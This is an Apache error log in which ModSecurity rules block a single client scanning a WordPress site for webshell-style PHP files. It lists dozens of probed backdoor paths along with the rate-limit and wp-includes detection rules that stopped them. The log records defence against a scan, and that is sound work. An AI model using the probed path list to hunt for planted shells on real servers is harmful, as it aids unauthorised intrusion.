[Sun Apr 26 01:39:09.983350 2026] [:error] [pid 59896:tid 59906] [client 158.158.52.225:10914] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aez8PbLLzhtkd-OXUgBYRgAAAEY"]
[Sun Apr 26 01:39:11.272995 2026] [:error] [pid 3212:tid 3238] [client 158.158.52.225:3609] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aez8P_g-28TY8_YLtUfBNgAAARg"]
[Sun Apr 26 01:39:12.263246 2026] [:error] [pid 59985:tid 59993] [client 158.158.52.225:17797] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aez8QAF_zDvEhKvyTH4A5QAAAAY"]
[Sun Apr 26 01:39:13.035334 2026] [:error] [pid 3212:tid 3233] [client 158.158.52.225:52775] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Sun Apr 26 01:39:13.612774 2026] [:error] [pid 3212:tid 3215] [client 158.158.52.225:52775] File does not exist: /usr/local/apache/htdocs/suspended-page/sbhu.php
[Sun Apr 26 01:39:13.871813 2026] [:error] [pid 3212:tid 3234] [client 158.158.52.225:52775] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Sun Apr 26 01:39:15.273626 2026] [:error] [pid 3212:tid 3231] [client 158.158.52.225:52775] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Sun Apr 26 01:39:15.558572 2026] [:error] [pid 3212:tid 3223] [client 158.158.52.225:52775] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Sun Apr 26 01:39:15.801135 2026] [:error] [pid 3212:tid 3218] [client 158.158.52.225:52775] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Sun Apr 26 01:39:16.157579 2026] [:error] [pid 3212:tid 3217] [client 158.158.52.225:52775] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Sun Apr 26 01:39:16.455982 2026] [:error] [pid 3212:tid 3227] [client 158.158.52.225:52775] File does not exist: /usr/local/apache/htdocs/suspended-page/222.php
[Sun Apr 26 01:39:16.858791 2026] [:error] [pid 3212:tid 3233] [client 158.158.52.225:52775] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aez8RPg-28TY8_YLtUfBTQAAARM"]
[Sun Apr 26 01:39:18.637473 2026] [:error] [pid 59896:tid 59920] [client 158.158.52.225:3996] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aez8RrLLzhtkd-OXUgBYVwAAAFQ"]
[Sun Apr 26 01:39:19.338375 2026] [:error] [pid 3212:tid 3231] [client 158.158.52.225:58984] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aez8R_g-28TY8_YLtUfBVAAAARE"]
[Sun Apr 26 01:39:20.395662 2026] [:error] [pid 59985:tid 60003] [client 158.158.52.225:3607] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aez8SAF_zDvEhKvyTH4A8QAAABA"]
[Sun Apr 26 01:39:21.654186 2026] [:error] [pid 59985:tid 59995] [client 158.158.52.225:10926] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aez8SQF_zDvEhKvyTH4A9QAAAAg"]
[Sun Apr 26 01:39:23.015687 2026] [:error] [pid 3212:tid 3227] [client 158.158.52.225:47256] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aez8S_g-28TY8_YLtUfBWAAAAQ0"]
[Sun Apr 26 01:39:24.140647 2026] [:error] [pid 59985:tid 59999] [client 158.158.52.225:48492] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aez8TAF_zDvEhKvyTH4A-gAAAAw"]
[Sun Apr 26 01:39:27.521530 2026] [:error] [pid 59897:tid 59927] [client 158.158.52.225:10985] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aez8T_BrrkdzpEbmK4fCjQAAAIA"]
[Sun Apr 26 01:39:29.472506 2026] [:error] [pid 3212:tid 3224] [client 158.158.52.225:3990] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aez8Ufg-28TY8_YLtUfBYgAAAQo"]
[Sun Apr 26 01:39:32.214364 2026] [:error] [pid 3212:tid 3219] [client 158.158.52.225:10950] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aez8VPg-28TY8_YLtUfBbQAAAQU"]
[Sun Apr 26 01:39:33.687938 2026] [:error] [pid 3212:tid 3233] [client 158.158.52.225:40945] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aez8Vfg-28TY8_YLtUfBeAAAARM"]
[Sun Apr 26 01:39:35.058400 2026] [:error] [pid 3212:tid 3228] [client 158.158.52.225:47254] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aez8V_g-28TY8_YLtUfBgAAAAQ4"]
[Sun Apr 26 01:39:36.644410 2026] [:error] [pid 59897:tid 59932] [client 158.158.52.225:40928] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aez8WPBrrkdzpEbmK4fCkgAAAIU"]
[Sun Apr 26 01:39:37.747806 2026] [:error] [pid 59985:tid 60004] [client 158.158.52.225:44750] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aez8WQF_zDvEhKvyTH4BBgAAABE"]
[Sun Apr 26 01:39:39.115421 2026] [:error] [pid 59897:tid 59933] [client 158.158.52.225:4034] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aez8W_BrrkdzpEbmK4fClAAAAIY"]
[Sun Apr 26 01:39:39.962731 2026] [:error] [pid 59898:tid 59956] [client 158.158.52.225:40908] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aez8Wx-4vImxb0kbdzffdgAAAMI"]
[Sun Apr 26 01:39:40.964367 2026] [:error] [pid 59896:tid 59903] [client 158.158.52.225:65232] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aez8XLLLzhtkd-OXUgBYcQAAAEM"]
[Sun Apr 26 01:39:42.005988 2026] [:error] [pid 59896:tid 59924] [client 158.158.52.225:59480] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aez8XrLLzhtkd-OXUgBYcgAAAFg"]
[Sun Apr 26 01:39:43.199091 2026] [:error] [pid 3212:tid 3238] [client 158.158.52.225:51942] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aez8X_g-28TY8_YLtUfBlgAAARg"]
[Sun Apr 26 01:39:44.499611 2026] [:error] [pid 59985:tid 59987] [client 158.158.52.225:51929] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aez8YAF_zDvEhKvyTH4BFAAAAAA"]
[Sun Apr 26 01:39:45.350466 2026] [:error] [pid 59897:tid 59949] [client 158.158.52.225:59497] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aez8YfBrrkdzpEbmK4fCmwAAAJY"]
[Sun Apr 26 01:39:46.823559 2026] [:error] [pid 3212:tid 3217] [client 158.158.52.225:10986] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aez8Yvg-28TY8_YLtUfBpgAAAQM"]
[Sun Apr 26 01:39:47.540064 2026] [:error] [pid 3212:tid 3236] [client 158.158.52.225:50938] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aez8Y_g-28TY8_YLtUfBtAAAARY"]
[Sun Apr 26 01:39:48.167811 2026] [:error] [pid 3212:tid 3234] [client 158.158.52.225:57108] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aez8ZPg-28TY8_YLtUfBvAAAARQ"]
[Sun Apr 26 01:39:49.015451 2026] [:error] [pid 3212:tid 3216] [client 158.158.52.225:10578] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aez8Zfg-28TY8_YLtUfByQAAAQI"]
[Sun Apr 26 01:39:49.634966 2026] [:error] [pid 3212:tid 3214] [client 158.158.52.225:17878] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aez8Zfg-28TY8_YLtUfB0QAAAQA"]
[Sun Apr 26 01:39:50.384586 2026] [:error] [pid 3212:tid 3233] [client 158.158.52.225:65225] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aez8Zvg-28TY8_YLtUfB2AAAARM"]
[Sun Apr 26 01:39:51.326189 2026] [:error] [pid 3212:tid 3236] [client 158.158.52.225:50935] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aez8Z_g-28TY8_YLtUfB3gAAARY"]
[Sun Apr 26 01:39:52.625934 2026] [:error] [pid 59897:tid 59941] [client 158.158.52.225:51910] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aez8aPBrrkdzpEbmK4fCogAAAI4"]
[Sun Apr 26 01:39:53.468089 2026] [:error] [pid 3212:tid 3218] [client 158.158.52.225:34484] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aez8afg-28TY8_YLtUfB5AAAAQQ"]
[Sun Apr 26 01:39:54.112628 2026] [:error] [pid 59898:tid 59957] [client 158.158.52.225:39604] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aez8ah-4vImxb0kbdzfffAAAAMM"]
[Sun Apr 26 01:39:55.138005 2026] [:error] [pid 59897:tid 59927] [client 158.158.52.225:50880] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aez8a_BrrkdzpEbmK4fCrAAAAIA"]
[Sun Apr 26 01:39:56.941176 2026] [:error] [pid 59897:tid 59947] [client 158.158.52.225:50884] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/"] [unique_id "aez8bPBrrkdzpEbmK4fCsQAAAJQ"]
[Sun Apr 26 01:39:58.931538 2026] [:error] [pid 59898:tid 59964] [client 158.158.52.225:40241] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/"] [unique_id "aez8bh-4vImxb0kbdzfflgAAAMo"]
[Sun Apr 26 01:40:01.856316 2026] [:error] [pid 3212:tid 3223] [client 158.158.52.225:34465] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/"] [unique_id "aez8cfg-28TY8_YLtUfB8gAAAQk"]
[Sun Apr 26 01:40:02.799135 2026] [:error] [pid 59985:tid 60003] [client 158.158.52.225:49732] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/"] [unique_id "aez8cgF_zDvEhKvyTH4BHQAAABA"]
[Sun Apr 26 01:40:04.121087 2026] [:error] [pid 59896:tid 59909] [client 158.158.52.225:3521] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aez8dLLLzhtkd-OXUgBYhwAAAEk"]
[Sun Apr 26 01:40:06.018772 2026] [:error] [pid 59898:tid 59970] [client 158.158.52.225:9386] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aez8dh-4vImxb0kbdzffmwAAANA"]
[Sun Apr 26 01:40:08.638044 2026] [:error] [pid 59896:tid 59913] [client 158.158.52.225:56506] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aez8eLLLzhtkd-OXUgBYlgAAAE0"]
[Sun Apr 26 01:40:09.876249 2026] [:error] [pid 3212:tid 3230] [client 158.158.52.225:40076] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aez8efg-28TY8_YLtUfCEwAAARA"]
[Sun Apr 26 01:40:11.049749 2026] [:error] [pid 59898:tid 59977] [client 158.158.52.225:42168] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aez8ex-4vImxb0kbdzffoQAAANc"]
[Sun Apr 26 01:40:12.508306 2026] [:error] [pid 59898:tid 59954] [client 158.158.52.225:41385] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aez8fB-4vImxb0kbdzffpwAAAMA"]
[Sun Apr 26 01:40:14.426262 2026] [:error] [pid 59985:tid 59987] [client 158.158.52.225:15237] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aez8fgF_zDvEhKvyTH4BKwAAAAA"]
[Sun Apr 26 01:40:15.351555 2026] [:error] [pid 59896:tid 59902] [client 158.158.52.225:57136] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aez8f7LLzhtkd-OXUgBYpQAAAEI"]
[Sun Apr 26 01:40:16.814749 2026] [:error] [pid 59898:tid 59973] [client 158.158.52.225:11329] File does not exist: /usr/local/apache/htdocs/suspended-page/fe5.php
[Sun Apr 26 01:40:17.433218 2026] [:error] [pid 59898:tid 59957] [client 158.158.52.225:11329] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Sun Apr 26 01:40:17.800173 2026] [:error] [pid 59898:tid 59958] [client 158.158.52.225:11329] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php
[Sun Apr 26 01:40:18.093324 2026] [:error] [pid 59898:tid 59978] [client 158.158.52.225:11329] File does not exist: /usr/local/apache/htdocs/suspended-page/a1.php
[Sun Apr 26 01:40:18.801761 2026] [:error] [pid 59898:tid 59954] [client 158.158.52.225:11329] [client 158.158.52.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aez8gh-4vImxb0kbdzfftgAAAMA"]
[Sun Apr 26 01:40:21.543474 2026] [:error] [pid 59985:tid 59992] [client 158.158.52.225:24863] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Sun Apr 26 01:40:22.520328 2026] [:error] [pid 59985:tid 59991] [client 158.158.52.225:24863] File does not exist: /usr/local/apache/htdocs/suspended-page/k.php
[Sun Apr 26 01:40:23.102687 2026] [:error] [pid 59985:tid 60003] [client 158.158.52.225:24863] File does not exist: /usr/local/apache/htdocs/suspended-page/bal.php
[Sun Apr 26 01:40:23.385754 2026] [:error] [pid 59985:tid 60005] [client 158.158.52.225:24863] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "aez8hwF_zDvEhKvyTH4BPAAAABI"]
[Sun Apr 26 01:40:25.182320 2026] [:error] [pid 59897:tid 59940] [client 158.158.52.225:42172] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "aez8ifBrrkdzpEbmK4fC0QAAAI0"]
